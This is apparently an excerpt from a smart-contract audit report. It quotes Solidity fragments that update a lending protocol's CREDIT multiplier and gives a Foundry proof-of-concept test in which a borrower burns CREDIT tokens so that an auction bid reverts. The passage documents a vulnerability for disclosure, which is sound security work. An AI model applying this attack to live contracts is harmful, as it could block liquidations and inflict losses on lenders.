// update the CREDIT multiplier
uint256 creditTotalSupply = CreditToken(_credit).totalSupply();
uint256 newCreditMultiplier = (creditMultiplier *
    (creditTotalSupply - loss)) / creditTotalSupply;
creditMultiplier = newCreditMultiplier;
else {
// empty the surplus buffer
loss -= _surplusBuffer;
surplusBuffer = 0;
CreditToken(_credit).burn(_surplusBuffer);
emit SurplusBufferUpdate(block.timestamp, 0);

// update the CREDIT multiplier
uint256 creditTotalSupply = CreditToken(_credit).totalSupply();
uint256 newCreditMultiplier = (creditMultiplier *
    (creditTotalSupply - loss)) / creditTotalSupply;
creditMultiplier = newCreditMultiplier;
emit CreditMultiplierUpdate(
    block.timestamp,
    newCreditMultiplier
);
function testAttackBid() public {
  bytes32 loanId = _setupAndCallLoan();
  uint256 PHASE_1_DURATION = auctionHouse.midPoint();
  uint256 PHASE_2_DURATION = auctionHouse.auctionDuration() - auctionHouse.midPoint();
  vm.roll(block.number + 1);
  vm.warp(block.timestamp + PHASE_1_DURATION + (PHASE_2_DURATION * 2) / 3);

  // At this time, get full collateral, repay half debt
  (uint256 collateralReceived, uint256 creditAsked) = auctionHouse.getBidDetail(loanId);

  emit log_named_uint('collateralReceived', collateralReceived);
  emit log_named_uint('creditAsked', creditAsked);

  vm.startPrank(borrower);
  credit.burn(20_000e18);
  vm.stopPrank();

  // bid
  credit.mint(bidder, creditAsked);
  vm.startPrank(bidder);
  credit.approve(address(term), creditAsked);
  vm.expectRevert();
  auctionHouse.bid(loanId);
  vm.stopPrank();
}
